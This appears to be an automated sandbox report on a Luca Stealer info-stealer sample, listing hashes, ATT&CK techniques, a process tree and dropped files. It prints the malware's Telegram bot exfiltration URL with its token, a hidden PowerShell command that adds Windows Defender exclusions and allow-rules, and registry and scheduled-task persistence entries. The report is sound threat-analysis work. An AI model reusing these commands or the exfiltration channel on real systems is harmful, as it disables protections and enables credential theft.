lucastealer | 88861277bd4781714d1b18b762a3323c3395da2eb5b0afa5ebf07253020f2482

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10-05-2024 05:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

803a5924f2a740903ad7878426750440_NeikiAnalytics.exe
Size

4.8MB
MD5

803a5924f2a740903ad7878426750440
SHA1

147060843a83ee2a8ee813b4a25c64e894f14e71
SHA256

88861277bd4781714d1b18b762a3323c3395da2eb5b0afa5ebf07253020f2482
SHA512

055bd00d049c26fdb11d660bb7bed5967d478366025e5f9931c60fea16517811acf5fa22cf73fb4a5826b712a792c7f2fd604d21704b0a1d26786c9203f67dbf
SSDEEP

98304:zdItrbTA1mYcXLW6jRhdGVQguhhW31ZK7nh:zwc1j0L5LdGVzu+lah

Score

10^/10

lucastealer evasion execution persistence stealer

Malware Config

Extracted

Family

lucastealer

https://api.telegram.org/bot6068798932:AAG_cHiqinDwNZ3Hd-rdp8tPwbT0czdVwTw

Signatures

Luca Stealer
Info stealer written in Rust first seen in July 2022.
stealer lucastealer

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	svchost.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4560 powershell.exe
4560 powershell.exe

pid	process
4560	powershell.exe
4560	powershell.exe

Modifies Installed Components in the registry 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

svchost.exeexplorer.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	explorer.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

803a5924f2a740903ad7878426750440_neikianalytics.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	803a5924f2a740903ad7878426750440_neikianalytics.exe

Executes dropped EXE 10 IoCs

Processes:

803a5924f2a740903ad7878426750440_neikianalytics.exe icsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exeUHCDXQ.exeuhcdxq.exe icsys.icn.exeexplorer.exe

pid	process
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
3780	icsys.icn.exe
2596	explorer.exe
4312	spoolsv.exe
2852	svchost.exe
4672	spoolsv.exe
2900	UHCDXQ.exe
5060	uhcdxq.exe
2436	icsys.icn.exe
5096	explorer.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

803a5924f2a740903ad7878426750440_neikianalytics.exe explorer.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Update = "C:\\Users\\Admin\\AppData\\Local\\Temp\\skyp\\Microsoft Update.lnk"	803a5924f2a740903ad7878426750440_neikianalytics.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	svchost.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\803a5924f2a740903ad7878426750440_neikianalytics.exe	autoit_exe

Drops file in Windows directory 6 IoCs

Processes:

explorer.exesvchost.exeicsys.icn.exespoolsv.exe

description	ioc	process
File opened for modification	\??\c:\windows\system\explorer.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	svchost.exe
File opened for modification	C:\Windows\system\udsys.exe	explorer.exe
File opened for modification	\??\c:\windows\system\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\system\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	spoolsv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

icsys.icn.exe803a5924f2a740903ad7878426750440_neikianalytics.exe explorer.exesvchost.exe

pid	process
3780	icsys.icn.exe
3780	icsys.icn.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
2596	explorer.exe
2596	explorer.exe
2596	explorer.exe
2596	explorer.exe
2596	explorer.exe
2596	explorer.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2852	svchost.exe
2852	svchost.exe
2852	svchost.exe
2596	explorer.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2596	explorer.exe
2852	svchost.exe
2852	svchost.exe
2596	explorer.exe
2596	explorer.exe
2852	svchost.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe
4984	803a5924f2a740903ad7878426750440_neikianalytics.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

explorer.exesvchost.exe

pid process

2596 explorer.exe
2852 svchost.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4560 powershell.exe

pid	process
2596	explorer.exe
2852	svchost.exe

description	pid	process
Token: SeDebugPrivilege	4560	powershell.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

803a5924f2a740903ad7878426750440_NeikiAnalytics.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exeUHCDXQ.exeicsys.icn.exeexplorer.exe

pid	process
4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe
4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe
3780	icsys.icn.exe
3780	icsys.icn.exe
2596	explorer.exe
2596	explorer.exe
4312	spoolsv.exe
4312	spoolsv.exe
2852	svchost.exe
2852	svchost.exe
4672	spoolsv.exe
4672	spoolsv.exe
2596	explorer.exe
2596	explorer.exe
2900	UHCDXQ.exe
2900	UHCDXQ.exe
2436	icsys.icn.exe
2436	icsys.icn.exe
5096	explorer.exe
5096	explorer.exe

Suspicious use of WriteProcessMemory 50 IoCs

Processes:

803a5924f2a740903ad7878426750440_NeikiAnalytics.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exe803a5924f2a740903ad7878426750440_neikianalytics.exe cmd.exeUHCDXQ.exeicsys.icn.exe

description	pid	process	target process
PID 4548 wrote to memory of 4984	4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe	803a5924f2a740903ad7878426750440_neikianalytics.exe
PID 4548 wrote to memory of 4984	4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe	803a5924f2a740903ad7878426750440_neikianalytics.exe
PID 4548 wrote to memory of 4984	4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe	803a5924f2a740903ad7878426750440_neikianalytics.exe
PID 4548 wrote to memory of 3780	4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe	icsys.icn.exe
PID 4548 wrote to memory of 3780	4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe	icsys.icn.exe
PID 4548 wrote to memory of 3780	4548	803a5924f2a740903ad7878426750440_NeikiAnalytics.exe	icsys.icn.exe
PID 3780 wrote to memory of 2596	3780	icsys.icn.exe	explorer.exe
PID 3780 wrote to memory of 2596	3780	icsys.icn.exe	explorer.exe
PID 3780 wrote to memory of 2596	3780	icsys.icn.exe	explorer.exe
PID 2596 wrote to memory of 4312	2596	explorer.exe	spoolsv.exe
PID 2596 wrote to memory of 4312	2596	explorer.exe	spoolsv.exe
PID 2596 wrote to memory of 4312	2596	explorer.exe	spoolsv.exe
PID 4312 wrote to memory of 2852	4312	spoolsv.exe	svchost.exe
PID 4312 wrote to memory of 2852	4312	spoolsv.exe	svchost.exe
PID 4312 wrote to memory of 2852	4312	spoolsv.exe	svchost.exe
PID 2852 wrote to memory of 4672	2852	svchost.exe	spoolsv.exe
PID 2852 wrote to memory of 4672	2852	svchost.exe	spoolsv.exe
PID 2852 wrote to memory of 4672	2852	svchost.exe	spoolsv.exe
PID 2852 wrote to memory of 3280	2852	svchost.exe	at.exe
PID 2852 wrote to memory of 3280	2852	svchost.exe	at.exe
PID 2852 wrote to memory of 3280	2852	svchost.exe	at.exe
PID 4984 wrote to memory of 2900	4984	803a5924f2a740903ad7878426750440_neikianalytics.exe	UHCDXQ.exe
PID 4984 wrote to memory of 2900	4984	803a5924f2a740903ad7878426750440_neikianalytics.exe	UHCDXQ.exe
PID 4984 wrote to memory of 2900	4984	803a5924f2a740903ad7878426750440_neikianalytics.exe	UHCDXQ.exe
PID 4984 wrote to memory of 320	4984	803a5924f2a740903ad7878426750440_neikianalytics.exe	cmd.exe
PID 4984 wrote to memory of 320	4984	803a5924f2a740903ad7878426750440_neikianalytics.exe	cmd.exe
PID 4984 wrote to memory of 320	4984	803a5924f2a740903ad7878426750440_neikianalytics.exe	cmd.exe
PID 320 wrote to memory of 2172	320	cmd.exe	reg.exe
PID 320 wrote to memory of 2172	320	cmd.exe	reg.exe
PID 320 wrote to memory of 2172	320	cmd.exe	reg.exe
PID 2900 wrote to memory of 5060	2900	UHCDXQ.exe	uhcdxq.exe
PID 2900 wrote to memory of 5060	2900	UHCDXQ.exe	uhcdxq.exe
PID 2900 wrote to memory of 2436	2900	UHCDXQ.exe	icsys.icn.exe
PID 2900 wrote to memory of 2436	2900	UHCDXQ.exe	icsys.icn.exe
PID 2900 wrote to memory of 2436	2900	UHCDXQ.exe	icsys.icn.exe
PID 320 wrote to memory of 4560	320	cmd.exe	powershell.exe
PID 320 wrote to memory of 4560	320	cmd.exe	powershell.exe
PID 320 wrote to memory of 4560	320	cmd.exe	powershell.exe
PID 320 wrote to memory of 4940	320	cmd.exe	reg.exe
PID 320 wrote to memory of 4940	320	cmd.exe	reg.exe
PID 320 wrote to memory of 4940	320	cmd.exe	reg.exe
PID 2436 wrote to memory of 5096	2436	icsys.icn.exe	explorer.exe
PID 2436 wrote to memory of 5096	2436	icsys.icn.exe	explorer.exe
PID 2436 wrote to memory of 5096	2436	icsys.icn.exe	explorer.exe
PID 2852 wrote to memory of 4868	2852	svchost.exe	at.exe
PID 2852 wrote to memory of 4868	2852	svchost.exe	at.exe
PID 2852 wrote to memory of 4868	2852	svchost.exe	at.exe
PID 2852 wrote to memory of 4320	2852	svchost.exe	at.exe
PID 2852 wrote to memory of 4320	2852	svchost.exe	at.exe
PID 2852 wrote to memory of 4320	2852	svchost.exe	at.exe

C:\Users\Admin\AppData\Local\Temp\803a5924f2a740903ad7878426750440_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\803a5924f2a740903ad7878426750440_NeikiAnalytics.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4548
- \??\c:\users\admin\appdata\local\temp\803a5924f2a740903ad7878426750440_neikianalytics.exe
  c:\users\admin\appdata\local\temp\803a5924f2a740903ad7878426750440_neikianalytics.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Users\Admin\AppData\Local\Temp\UHCDXQ.exe
    "C:\Users\Admin\AppData\Local\Temp\UHCDXQ.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - \??\c:\users\admin\appdata\local\temp\uhcdxq.exe
      c:\users\admin\appdata\local\temp\uhcdxq.exe
      4⤵
      Executes dropped EXE
      PID:5060
  - - C:\Users\Admin\AppData\Local\icsys.icn.exe
      C:\Users\Admin\AppData\Local\icsys.icn.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2436
    - - \??\c:\windows\system\explorer.exe
        
        c:\windows\system\explorer.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LHXDAZ.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKU\S-1-5-19\Environment"
      4⤵
      PID:2172
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      Powershell -nologo -noninteractive -windowStyle hidden -noprofile -command $First = "Add-MpPreference -ThreatIDDefaultAction_Ids "; $Third = " -ThreatIDDefaultAction_Actions Allow -Force"; $ListID = 2147685180, 2147735507, 2147736914, 2147743522, 2147734094, 2147743421, 251873, 213927, 2147722906, 2147748160; ForEach ($ID in $ListID) { Invoke-Expression ($First + $ID + $Third) }; $ListPath = "C:\Windows\KMSAutoS", "C:\Windows\System32\SppExtComObjHook.dll", "C:\Windows\System32\SppExtComObjPatcher.exe", "C:\Windows\AAct_Tools", "C:\Windows\AAct_Tools\AAct_x64.exe", "C:\Windows\AAct_Tools\AAct_files\KMSSS.exe", "C:\Windows\AAct_Tools\AAct_files", "C:\Windows\KMS"; $First = "Add-MpPreference -ExclusionPath "; $Third = "-Force"; ForEach ($Path in $ListPath) { Invoke-Expression ($First + $Path + $Third) }; :Admin
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4560
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKU\S-1-5-19\Environment"
      4⤵
      PID:4940
- C:\Users\Admin\AppData\Local\icsys.icn.exe
  C:\Users\Admin\AppData\Local\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3780
- - \??\c:\windows\system\explorer.exe
    c:\windows\system\explorer.exe
    3⤵
    - Modifies WinLogon for persistence
    - Modifies visiblity of hidden/system files in Explorer
    - Modifies Installed Components in the registry
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - \??\c:\windows\system\spoolsv.exe
      c:\windows\system\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4312
    - - \??\c:\windows\system\svchost.exe
        
        c:\windows\system\svchost.exe
        5⤵
        Modifies WinLogon for persistence
        Modifies visiblity of hidden/system files in Explorer
        Modifies Installed Components in the registry
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2852
      - \??\c:\windows\system\spoolsv.exe
        
        c:\windows\system\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:4672
      - C:\Windows\SysWOW64\at.exe
        
        at 05:38 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        6⤵
        
        PID:3280
      - C:\Windows\SysWOW64\at.exe
        
        at 05:39 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        6⤵
        
        PID:4868
      - C:\Windows\SysWOW64\at.exe
        
        at 05:40 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        6⤵
        
        PID:4320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\803a5924f2a740903ad7878426750440_neikianalytics.exe

Filesize
4.6MB

MD5
400963a830106421a9d61b7b40b05e0f

SHA1
53b16018e0d74617eae060357d93d77441fdd817

SHA256
ac522c65009170b03e879f555bedb6f39570e74f1e6330fa1ee196e39eff553b

SHA512
6a380fa79bb192fc12170c9248c1b287a22659c8bb710672d1dda22d64adc0e443c59d78e6181d7d20b80cf785cee6f33d3520752d4584d29f00e7737a5726bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\LHXDAZ.cmd

Filesize
1KB

MD5
15a1fe3d0f342bdd3232253c7810a05d

SHA1
b658e0d903b37bf12e8e640bece22f235552dc50

SHA256
4070dcb09b69ef57160fae0be5ee3664e39170eeacc46e6f50a080493552b338

SHA512
1961fc65a839c55806162a197385859cfe3a24551ab9b7e0121166eac5e5ae1a4a0d9180229d0ea0240dccb770e4c2d508577e60988c9271bb11f94de1897a35

Download Submit
C:\Users\Admin\AppData\Local\Temp\UHCDXQ.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n5uztvhv.djh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\uhcdxq.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
C:\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
deaa3ddf9f4cc261c6041f4908bf9406

SHA1
578370b878cb76b63f44416b9b0edc1051672c91

SHA256
1ff6acc579ff365aab17be1bea273be531da508d30825de6942d19a14d2839ea

SHA512
eff7fb6b5854d77b5a3584a94992cae0bd38dcfd26a873ea5d2485a918a85b0860b28c4112ce36c819fd29a6a1eee087a79aebc143473b592285b9dc213c48a1

Download Submit
C:\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
C:\Users\Admin\AppData\Roaming\mrsys.exe

Filesize
207KB

MD5
541860c3de8b780a7062da439c9ec496

SHA1
155d18bed8cb5c1e668428fd957f77f882de1867

SHA256
f2da64c12bedab474c4208171bcbc0b38d62543d70089600aed2a2e33ba53785

SHA512
5836e404d31f32480f60ada33555539acdcee2081d391c4677d3771e7274861be61b7ce85f5c2c13f9c6bbb82cb4ca0142c4e46c72218ebad0d913f23c87605b

Download Submit
C:\Windows\System\explorer.exe

Filesize
206KB

MD5
fd0fe9e59209e13c397ddf1c3afc21ed

SHA1
b5a4fd7527fcae8d194469fe7c565a09b4ad34d3

SHA256
d9ff3d1b592485cdb31da681df6c7a0655e935d3c7863e2f800f0d9eefc645ca

SHA512
5e68ac13ca9b06c5a11725e59a8605854cf01c873b790b61a8cd6f19622dd6e3be428f58ebbd2014ed4cc2466826eba12933fdd74eb10d8ec2283fe880d5cfab

Download Submit
C:\Windows\System\spoolsv.exe

Filesize
206KB

MD5
07d881bb060d881f84aac9f2934cd1a7

SHA1
0bf0715caf5f25d523f5b974c82bbc3bfa4fd5ca

SHA256
ac50cf76acb879f6f05a3bf1cd08783cff0beb36232028247ab54f892e6cb48b

SHA512
e3fc508c547d25a6427e1de05cb7caee868fdb4ecdc6d0168b900cb84ae65c88d796a997845ec4372f50b7817b6c671c52964997f5893c00f46b37fc0a79176b

Download Submit
\??\c:\windows\system\svchost.exe

Filesize
206KB

MD5
1613aa79b9cdbecb1ca1499bc482b332

SHA1
02971f09388504afabbd9e8af28707561517b850

SHA256
935f8cf59bfa5d6252ebcde28e1f5b81f8aac3bbdf4c93d55e1cc66675778643

SHA512
ee3540274e96ac9e64538fa840348150be85ffa1f1c1109e14079ba3721a32cdc5e14b57783ea153b75c12e3cfb30b1a43e81bb59259f060f7bbde22b10ca90c

Download Submit
memory/2436-105-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2900-78-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2900-106-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3780-59-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3780-19-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4312-60-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4548-61-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4548-0-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4560-108-0x0000000005B80000-0x00000000061A8000-memory.dmp

Filesize
6.2MB

Download
memory/4560-107-0x0000000003330000-0x0000000003366000-memory.dmp

Filesize
216KB

Download
memory/4560-109-0x0000000005980000-0x00000000059A2000-memory.dmp

Filesize
136KB

Download
memory/4560-110-0x0000000006220000-0x0000000006286000-memory.dmp

Filesize
408KB

Download
memory/4560-111-0x0000000006290000-0x00000000062F6000-memory.dmp

Filesize
408KB

Download
memory/4560-121-0x0000000006420000-0x0000000006774000-memory.dmp

Filesize
3.3MB

Download
memory/4560-122-0x0000000006920000-0x000000000693E000-memory.dmp

Filesize
120KB

Download
memory/4560-123-0x0000000006970000-0x00000000069BC000-memory.dmp

Filesize
304KB

Download
memory/4672-52-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/5096-104-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download